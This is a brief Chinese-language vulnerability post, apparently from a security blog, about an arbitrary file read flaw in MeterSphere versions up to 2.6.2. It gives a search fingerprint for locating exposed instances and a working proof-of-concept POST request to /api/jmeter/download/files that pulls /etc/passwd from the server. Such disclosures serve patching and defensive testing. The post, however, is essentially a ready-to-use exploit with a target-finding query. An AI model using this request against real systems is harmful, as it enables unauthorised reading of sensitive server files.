Metersphere file 接口存在任意文件读取漏洞,攻击者通过接口可以获取敏感文件压缩包
Metersphere <=2.6.2
app.name="MeterSphere"
登陆页面
验证POC
POST /api/jmeter/download/files
Content-Type: application/json
{"reportId":"pass","bodyFiles":[{"id":"aaa","name":"/etc/passwd"}]}
456 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!